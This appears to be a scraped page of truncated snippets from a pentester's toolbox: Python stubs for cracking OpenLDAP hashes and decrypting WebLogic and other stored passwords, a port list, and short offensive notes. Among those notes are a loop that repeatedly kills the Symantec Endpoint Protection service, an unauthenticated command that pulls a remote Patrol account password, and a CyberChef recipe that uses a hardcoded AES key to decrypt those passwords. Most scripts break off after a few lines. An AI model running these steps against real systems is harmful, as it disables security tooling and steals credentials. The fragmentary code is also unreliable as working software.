gquere

#!/usr/bin/env python3
import argparse
import urllib3
import requests
import json
import sys


# SUPPRESS WARNINGS ############################################################
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

gquere

#!/usr/bin/env python3
# Convert OpenLDAP hashes to a format john the ripper can understand
import sys
import base64

with open(sys.argv[1], 'r') as f:
    lines = f.readlines()

for line in lines:
    line = line.rstrip("\n")

gquere

#!/usr/bin/env python3
# Convert OpenLDAP hashes to a format Hashcat can understand
import sys
import base64

with open(sys.argv[1], 'r') as f:
    lines = f.readlines()

for line in lines:
    line = line.rstrip("\n")

gquere

Network
=======
DNS                 53
DHCP server         67
DHCP client         68
NTP                 123

Auth
====
TACACS              49

gquere

#!/usr/bin/env python3
import sys
import re
import random
import base64

with open(sys.argv[1], "rb") as f:
    lines = f.readlines()

obfuscated_lines = b""

gquere

BareBox security advisory

Barebox security features

The security features of Barebox are:

• Signed images
• Signed "state variables" (shared with the kernel)

gquere

Kill it!

As admin launch SymCorpUi.exe and unprotect SEP in options.

for /L %n in (1,0,10) do taskkill /F /IM ccSvcHst.exe & timeout 1

Privesc

gquere

Patrol unauthenticated get remote password

./pconfig +get -p <port> -host <host> | grep defaultAccount

Patrol decrypt password

https://gchq.github.io/CyberChef/#recipe=AES_Decrypt(%7B'option':'Hex','string':'0102030405060708414243444546474861626364656667689192939495969798'%7D,%7B'option':'Hex','string':'11213141516171810142639566470898'%7D,'CBC','Hex','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)From_Base64('A-Za-z0-9%2B/%3D',true/disabled)To_Hex('Space',0/disabled)&input=RDIyMjZFOTRBMTg4NkY0MTc4NkFBQjk2MkQ0MUFBNTBGOUY1RUIwQ0EzQTJCMkYyMDFEQTMxNTJERDkxMTU2Ng

gquere

#!/usr/bin/env python3
# python3 port from https://github.com/L-codes/ctf-scripts/blob/master/crypto/weblogic_password.py
# /console/ login account
# -i ~/wls<VERSION>/user_projects/domains/<DOMAIN_NAME>/security/SerializedSystemIni.dat
# -f ~/wls<VERSION>/user_projects/domains/<DOMAIN_NAME>/config/config.xml
from Cryptodome.Cipher import ARC2, AES, DES3
from Cryptodome.Hash import SHA

import struct
import re

gquere

#!/usr/bin/env python3
from Cryptodome.Cipher import AES
import base64
import sys

key = b'Mary had a littl'

data = base64.b64decode(sys.argv[1])

iv = data[0:4] + b'\x00' * 12